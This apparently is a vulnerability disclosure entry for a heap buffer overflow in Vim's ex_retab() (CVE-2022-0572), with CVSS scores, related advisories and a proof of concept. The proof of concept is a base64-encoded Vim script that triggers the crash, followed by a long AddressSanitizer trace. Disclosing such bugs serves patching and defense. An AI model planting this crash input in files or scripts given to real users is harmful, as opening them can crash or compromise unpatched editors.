Lucene search
AlkyneBF3E0643-03E9-4436-A1C8-74E7111C32BFHistoryFeb 11, 2022 - 3:07 a.m.
Heap-based Buffer Overflow in vim/vim
2022-02-1103:07:59
alkyne
www.huntr.dev
7
7.8 High
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
6.8 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
0.002 Low
EPSS
Percentile
54.2%
Description
Heap overflow occurs in ex_retab().
commit : 414acd342f4a66d930da34d419929985b48bd301
Proof of Concept
$ echo -ne "ZnUgUihiLG4pCmxldCBvbGRfdGFic3RvcD0mdGFic3RvcApleGUicmV0ImE6bgppZiBhOm4KZXhl
J3NlIHRhYnN0b3A9Jy5vbGRfdGFic3RvcAplbApjYWwgbCgiIixSKCcnLDQpCmNhbCBsKCIiLFIo
JycsJycpCmVuZGYKY2FsIHNldGxpbmUoMSwiXHQwXHQiKQpzZSB0YWJzdG9wPTUwCmNhbF8oIiIs
UignJywwKQo=" | base64 -d > poc
# ASAN
$ ./bin/vim.asan -u NONE -i NONE -n -X -Z -e -m -s -S poc -c ":qa!"
=================================================================
==15561==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f99766cb000 at pc 0x000000499a42 bp 0x7ffc0b8ce870 sp 0x7ffc0b8ce038
WRITE of size 49437514 at 0x7f99766cb000 thread T0
#0 0x499a41 in __asan_memmove (/home/alkyne/vim-debug/src/vim.asan+0x499a41)
#1 0x7e63a6 in ex_retab /home/alkyne/vim-debug/src/indent.c:1732:4
#2 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
#3 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
#4 0x62267b in ex_execute /home/alkyne/vim-debug/src/eval.c:6494:6
#5 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
#6 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
#7 0xcc599c in call_user_func /home/alkyne/vim-debug/src/userfunc.c:2819:2
#8 0xcc2be6 in call_user_func_check /home/alkyne/vim-debug/src/userfunc.c:2966:2
#9 0xcbf5c2 in call_func /home/alkyne/vim-debug/src/userfunc.c:3520:11
#10 0xcbd944 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1781:8
#11 0x6270e8 in eval_func /home/alkyne/vim-debug/src/eval.c:2096:8
#12 0x625995 in eval7 /home/alkyne/vim-debug/src/eval.c:3739:9
#13 0x62c708 in eval7t /home/alkyne/vim-debug/src/eval.c:3419:11
#14 0x62b12c in eval6 /home/alkyne/vim-debug/src/eval.c:3211:9
#15 0x629490 in eval5 /home/alkyne/vim-debug/src/eval.c:2974:9
#16 0x6284bc in eval4 /home/alkyne/vim-debug/src/eval.c:2827:9
#17 0x6274ff in eval3 /home/alkyne/vim-debug/src/eval.c:2688:9
#18 0x61062f in eval2 /home/alkyne/vim-debug/src/eval.c:2562:9
#19 0x5fd07f in eval1 /home/alkyne/vim-debug/src/eval.c:2408:9
#20 0xcbd1e1 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1727:6
#21 0xcde5b6 in ex_call /home/alkyne/vim-debug/src/userfunc.c:5372:6
#22 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
#23 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
#24 0xcc599c in call_user_func /home/alkyne/vim-debug/src/userfunc.c:2819:2
#25 0xcc2be6 in call_user_func_check /home/alkyne/vim-debug/src/userfunc.c:2966:2
#26 0xcbf5c2 in call_func /home/alkyne/vim-debug/src/userfunc.c:3520:11
#27 0xcbd944 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1781:8
#28 0x6270e8 in eval_func /home/alkyne/vim-debug/src/eval.c:2096:8
#29 0x625995 in eval7 /home/alkyne/vim-debug/src/eval.c:3739:9
#30 0x62c708 in eval7t /home/alkyne/vim-debug/src/eval.c:3419:11
#31 0x62b12c in eval6 /home/alkyne/vim-debug/src/eval.c:3211:9
#32 0x629490 in eval5 /home/alkyne/vim-debug/src/eval.c:2974:9
#33 0x6284bc in eval4 /home/alkyne/vim-debug/src/eval.c:2827:9
#34 0x6274ff in eval3 /home/alkyne/vim-debug/src/eval.c:2688:9
#35 0x61062f in eval2 /home/alkyne/vim-debug/src/eval.c:2562:9
#36 0x5fd07f in eval1 /home/alkyne/vim-debug/src/eval.c:2408:9
#37 0xcbd1e1 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1727:6
#38 0xcde5b6 in ex_call /home/alkyne/vim-debug/src/userfunc.c:5372:6
#39 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
#40 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
#41 0xcc599c in call_user_func /home/alkyne/vim-debug/src/userfunc.c:2819:2
#42 0xcc2be6 in call_user_func_check /home/alkyne/vim-debug/src/userfunc.c:2966:2
#43 0xcbf5c2 in call_func /home/alkyne/vim-debug/src/userfunc.c:3520:11
#44 0xcbd944 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1781:8
#45 0x6270e8 in eval_func /home/alkyne/vim-debug/src/eval.c:2096:8
#46 0x625995 in eval7 /home/alkyne/vim-debug/src/eval.c:3739:9
#47 0x62c708 in eval7t /home/alkyne/vim-debug/src/eval.c:3419:11
#48 0x62b12c in eval6 /home/alkyne/vim-debug/src/eval.c:3211:9
#49 0x629490 in eval5 /home/alkyne/vim-debug/src/eval.c:2974:9
#50 0x6284bc in eval4 /home/alkyne/vim-debug/src/eval.c:2827:9
#51 0x6274ff in eval3 /home/alkyne/vim-debug/src/eval.c:2688:9
#52 0x61062f in eval2 /home/alkyne/vim-debug/src/eval.c:2562:9
#53 0x5fd07f in eval1 /home/alkyne/vim-debug/src/eval.c:2408:9
#54 0xcbd1e1 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1727:6
#55 0xcde5b6 in ex_call /home/alkyne/vim-debug/src/userfunc.c:5372:6
#56 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
#57 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
#58 0xcc599c in call_user_func /home/alkyne/vim-debug/src/userfunc.c:2819:2
#59 0xcc2be6 in call_user_func_check /home/alkyne/vim-debug/src/userfunc.c:2966:2
#60 0xcbf5c2 in call_func /home/alkyne/vim-debug/src/userfunc.c:3520:11
#61 0xcbd944 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1781:8
#62 0x6270e8 in eval_func /home/alkyne/vim-debug/src/eval.c:2096:8
#63 0x625995 in eval7 /home/alkyne/vim-debug/src/eval.c:3739:9
#64 0x62c708 in eval7t /home/alkyne/vim-debug/src/eval.c:3419:11
#65 0x62b12c in eval6 /home/alkyne/vim-debug/src/eval.c:3211:9
#66 0x629490 in eval5 /home/alkyne/vim-debug/src/eval.c:2974:9
#67 0x6284bc in eval4 /home/alkyne/vim-debug/src/eval.c:2827:9
#68 0x6274ff in eval3 /home/alkyne/vim-debug/src/eval.c:2688:9
#69 0x61062f in eval2 /home/alkyne/vim-debug/src/eval.c:2562:9
#70 0x5fd07f in eval1 /home/alkyne/vim-debug/src/eval.c:2408:9
#71 0xcbd1e1 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1727:6
#72 0xcde5b6 in ex_call /home/alkyne/vim-debug/src/userfunc.c:5372:6
#73 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
#74 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
#75 0xcc599c in call_user_func /home/alkyne/vim-debug/src/userfunc.c:2819:2
#76 0xcc2be6 in call_user_func_check /home/alkyne/vim-debug/src/userfunc.c:2966:2
#77 0xcbf5c2 in call_func /home/alkyne/vim-debug/src/userfunc.c:3520:11
#78 0xcbd944 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1781:8
#79 0x6270e8 in eval_func /home/alkyne/vim-debug/src/eval.c:2096:8
#80 0x625995 in eval7 /home/alkyne/vim-debug/src/eval.c:3739:9
#81 0x62c708 in eval7t /home/alkyne/vim-debug/src/eval.c:3419:11
#82 0x62b12c in eval6 /home/alkyne/vim-debug/src/eval.c:3211:9
#83 0x629490 in eval5 /home/alkyne/vim-debug/src/eval.c:2974:9
#84 0x6284bc in eval4 /home/alkyne/vim-debug/src/eval.c:2827:9
#85 0x6274ff in eval3 /home/alkyne/vim-debug/src/eval.c:2688:9
#86 0x61062f in eval2 /home/alkyne/vim-debug/src/eval.c:2562:9
#87 0x5fd07f in eval1 /home/alkyne/vim-debug/src/eval.c:2408:9
#88 0xcbd1e1 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1727:6
#89 0xcde5b6 in ex_call /home/alkyne/vim-debug/src/userfunc.c:5372:6
#90 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
#91 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
#92 0xcc599c in call_user_func /home/alkyne/vim-debug/src/userfunc.c:2819:2
#93 0xcc2be6 in call_user_func_check /home/alkyne/vim-debug/src/userfunc.c:2966:2
#94 0xcbf5c2 in call_func /home/alkyne/vim-debug/src/userfunc.c:3520:11
#95 0xcbd944 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1781:8
#96 0x6270e8 in eval_func /home/alkyne/vim-debug/src/eval.c:2096:8
#97 0x625995 in eval7 /home/alkyne/vim-debug/src/eval.c:3739:9
#98 0x62c708 in eval7t /home/alkyne/vim-debug/src/eval.c:3419:11
#99 0x62b12c in eval6 /home/alkyne/vim-debug/src/eval.c:3211:9
#100 0x629490 in eval5 /home/alkyne/vim-debug/src/eval.c:2974:9
#101 0x6284bc in eval4 /home/alkyne/vim-debug/src/eval.c:2827:9
#102 0x6274ff in eval3 /home/alkyne/vim-debug/src/eval.c:2688:9
#103 0x61062f in eval2 /home/alkyne/vim-debug/src/eval.c:2562:9
#104 0x5fd07f in eval1 /home/alkyne/vim-debug/src/eval.c:2408:9
#105 0xcbd1e1 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1727:6
#106 0xcde5b6 in ex_call /home/alkyne/vim-debug/src/userfunc.c:5372:6
#107 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
#108 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
#109 0xcc599c in call_user_func /home/alkyne/vim-debug/src/userfunc.c:2819:2
#110 0xcc2be6 in call_user_func_check /home/alkyne/vim-debug/src/userfunc.c:2966:2
#111 0xcbf5c2 in call_func /home/alkyne/vim-debug/src/userfunc.c:3520:11
#112 0xcbd944 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1781:8
#113 0x6270e8 in eval_func /home/alkyne/vim-debug/src/eval.c:2096:8
#114 0x625995 in eval7 /home/alkyne/vim-debug/src/eval.c:3739:9
#115 0x62c708 in eval7t /home/alkyne/vim-debug/src/eval.c:3419:11
#116 0x62b12c in eval6 /home/alkyne/vim-debug/src/eval.c:3211:9
#117 0x629490 in eval5 /home/alkyne/vim-debug/src/eval.c:2974:9
#118 0x6284bc in eval4 /home/alkyne/vim-debug/src/eval.c:2827:9
#119 0x6274ff in eval3 /home/alkyne/vim-debug/src/eval.c:2688:9
#120 0x61062f in eval2 /home/alkyne/vim-debug/src/eval.c:2562:9
#121 0x5fd07f in eval1 /home/alkyne/vim-debug/src/eval.c:2408:9
#122 0xcbd1e1 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1727:6
#123 0xcde5b6 in ex_call /home/alkyne/vim-debug/src/userfunc.c:5372:6
#124 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
#125 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
#126 0xcc599c in call_user_func /home/alkyne/vim-debug/src/userfunc.c:2819:2
#127 0xcc2be6 in call_user_func_check /home/alkyne/vim-debug/src/userfunc.c:2966:2
#128 0xcbf5c2 in call_func /home/alkyne/vim-debug/src/userfunc.c:3520:11
#129 0xcbd944 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1781:8
#130 0x6270e8 in eval_func /home/alkyne/vim-debug/src/eval.c:2096:8
#131 0x625995 in eval7 /home/alkyne/vim-debug/src/eval.c:3739:9
#132 0x62c708 in eval7t /home/alkyne/vim-debug/src/eval.c:3419:11
#133 0x62b12c in eval6 /home/alkyne/vim-debug/src/eval.c:3211:9
#134 0x629490 in eval5 /home/alkyne/vim-debug/src/eval.c:2974:9
#135 0x6284bc in eval4 /home/alkyne/vim-debug/src/eval.c:2827:9
#136 0x6274ff in eval3 /home/alkyne/vim-debug/src/eval.c:2688:9
#137 0x61062f in eval2 /home/alkyne/vim-debug/src/eval.c:2562:9
#138 0x5fd07f in eval1 /home/alkyne/vim-debug/src/eval.c:2408:9
#139 0xcbd1e1 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1727:6
#140 0xcde5b6 in ex_call /home/alkyne/vim-debug/src/userfunc.c:5372:6
#141 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
#142 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
#143 0xacfae4 in do_source /home/alkyne/vim-debug/src/scriptfile.c:1512:5
#144 0xacd35c in cmd_source /home/alkyne/vim-debug/src/scriptfile.c:1098:14
#145 0xacd0dd in ex_source /home/alkyne/vim-debug/src/scriptfile.c:1124:2
#146 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
#147 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
#148 0x6b43f0 in do_cmdline_cmd /home/alkyne/vim-debug/src/ex_docmd.c:587:12
#149 0xe9ce54 in exe_commands /home/alkyne/vim-debug/src/main.c:3089:2
#150 0xe9ab8e in vim_main2 /home/alkyne/vim-debug/src/main.c:772:2
#151 0xe947cb in main /home/alkyne/vim-debug/src/main.c:424:12
#152 0x7f998957f0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#153 0x41d9cd in _start (/home/alkyne/vim-debug/src/vim.asan+0x41d9cd)
0x7f99766cb000 is located 6144 bytes to the left of 9315507-byte region [0x7f99766cc800,0x7f9976faecb3)
allocated by thread T0 here:
#0 0x49a17d in __interceptor_malloc (/home/alkyne/vim-debug/src/vim.asan+0x49a17d)
#1 0x4cc2d8 in lalloc /home/alkyne/vim-debug/src/alloc.c:248:11
#2 0x4cc229 in alloc /home/alkyne/vim-debug/src/alloc.c:151:12
#3 0x7e632a in ex_retab /home/alkyne/vim-debug/src/indent.c:1727:15
#4 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
#5 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
#6 0x62267b in ex_execute /home/alkyne/vim-debug/src/eval.c:6494:6
#7 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
#8 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
#9 0xcc599c in call_user_func /home/alkyne/vim-debug/src/userfunc.c:2819:2
#10 0xcc2be6 in call_user_func_check /home/alkyne/vim-debug/src/userfunc.c:2966:2
#11 0xcbf5c2 in call_func /home/alkyne/vim-debug/src/userfunc.c:3520:11
#12 0xcbd944 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1781:8
#13 0x6270e8 in eval_func /home/alkyne/vim-debug/src/eval.c:2096:8
#14 0x625995 in eval7 /home/alkyne/vim-debug/src/eval.c:3739:9
#15 0x62c708 in eval7t /home/alkyne/vim-debug/src/eval.c:3419:11
#16 0x62b12c in eval6 /home/alkyne/vim-debug/src/eval.c:3211:9
#17 0x629490 in eval5 /home/alkyne/vim-debug/src/eval.c:2974:9
#18 0x6284bc in eval4 /home/alkyne/vim-debug/src/eval.c:2827:9
#19 0x6274ff in eval3 /home/alkyne/vim-debug/src/eval.c:2688:9
#20 0x61062f in eval2 /home/alkyne/vim-debug/src/eval.c:2562:9
#21 0x5fd07f in eval1 /home/alkyne/vim-debug/src/eval.c:2408:9
#22 0xcbd1e1 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1727:6
#23 0xcde5b6 in ex_call /home/alkyne/vim-debug/src/userfunc.c:5372:6
#24 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
#25 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
#26 0xcc599c in call_user_func /home/alkyne/vim-debug/src/userfunc.c:2819:2
#27 0xcc2be6 in call_user_func_check /home/alkyne/vim-debug/src/userfunc.c:2966:2
#28 0xcbf5c2 in call_func /home/alkyne/vim-debug/src/userfunc.c:3520:11
#29 0xcbd944 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1781:8
SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/alkyne/vim-debug/src/vim.asan+0x499a41) in __asan_memmove
Shadow bytes around the buggy address:
0x0ff3aecd15b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff3aecd15c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff3aecd15d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff3aecd15e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff3aecd15f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0ff3aecd1600:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff3aecd1610: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff3aecd1620: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff3aecd1630: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff3aecd1640: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff3aecd1650: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==15561==ABORTING
Impact
Heap overflow may lead to exploiting the program, which can allow the attacker to execute arbitrary code.
Related
prion
prion
Heap overflow
2022-02-14 12:15:00
ubuntucve
ubuntucve
CVE-2022-0572
2022-02-14 00:00:00
fedora
fedora
[SECURITY] Fedora 35 Update: vim-8.2.4386-1.fc35
2022-02-17 03:16:17
[SECURITY] Fedora 34 Update: vim-8.2.4460-1.fc34
2022-02-25 17:03:47
nessus
nessus
CentOS 9 : vim-8.2.2637-13.el9
2024-02-29 00:00:00
Amazon Linux 2 : vim (ALAS-2022-1771)
2022-04-06 00:00:00
EulerOS 2.0 SP10 : vim (EulerOS-SA-2022-1799)
2022-06-06 00:00:00
osv
osv
CVE-2022-0572
2022-02-14 12:15:00
vim - security update
2022-05-16 00:00:00
vim vulnerabilities
2022-06-06 15:50:45
cve
cve
CVE-2022-0572
2022-02-14 12:15:00
cbl_mariner
cbl_mariner
CVE-2022-0572 affecting package vim 8.2.4233-1
2022-04-26 20:17:05
CVE-2022-0572 affecting package vim 8.2.4281-1
2022-03-09 18:31:42
veracode
veracode
Denial Of Service (DoS)
2022-03-12 16:29:53
cnvd
cnvd
Vim Buffer Overflow Vulnerability (CNVD-2022-11175)
2022-02-16 00:00:00
redhatcve
redhatcve
CVE-2022-0572
2022-02-14 15:26:21
photon
photon
Critical Photon OS Security Update - PHSA-2022-0372
2022-03-14 00:00:00
Critical Photon OS Security Update - PHSA-2022-0451
2022-03-13 00:00:00
Important Photon OS Security Update - PHSA-2022-3.0-0372
2022-03-14 00:00:00
debiancve
debiancve
CVE-2022-0572
2022-02-14 12:15:00
openvas
openvas
Fedora: Security Advisory for vim (FEDORA-2022-9cef12c14c)
2022-02-17 00:00:00
Huawei EulerOS: Security Advisory for vim (EulerOS-SA-2022-1816)
2022-06-07 00:00:00
Huawei EulerOS: Security Advisory for vim (EulerOS-SA-2022-1799)
2022-06-07 00:00:00
alpinelinux
alpinelinux
CVE-2022-0572
2022-02-14 12:15:00
cloudlinux
cloudlinux
Fix of CVE: CVE-2022-0554, CVE-2022-0729, CVE-2022-0685, CVE-2022-0572
2022-03-10 12:27:17
amazon
amazon
debian
debian
[SECURITY] [DLA 3011-1] vim security update
2022-05-16 19:42:09
[SECURITY] [DLA 3182-1] vim security update
2022-11-08 14:54:53
ubuntu
ubuntu
Vim vulnerabilities
2022-06-06 00:00:00
Vim vulnerabilities
2023-04-19 00:00:00
cloudfoundry
cloudfoundry
USN-6026-1: Vim vulnerabilities | Cloud Foundry
2023-04-24 00:00:00
mageia
mageia
Updated vim packages fix security vulnerability
2022-05-25 21:46:18
apple
apple
About the security content of macOS Ventura 13
2022-10-24 00:00:00
avleonov
avleonov
7.8 High
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
6.8 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
0.002 Low
EPSS
Percentile
54.2%
Related for BF3E0643-03E9-4436-A1C8-74E7111C32BF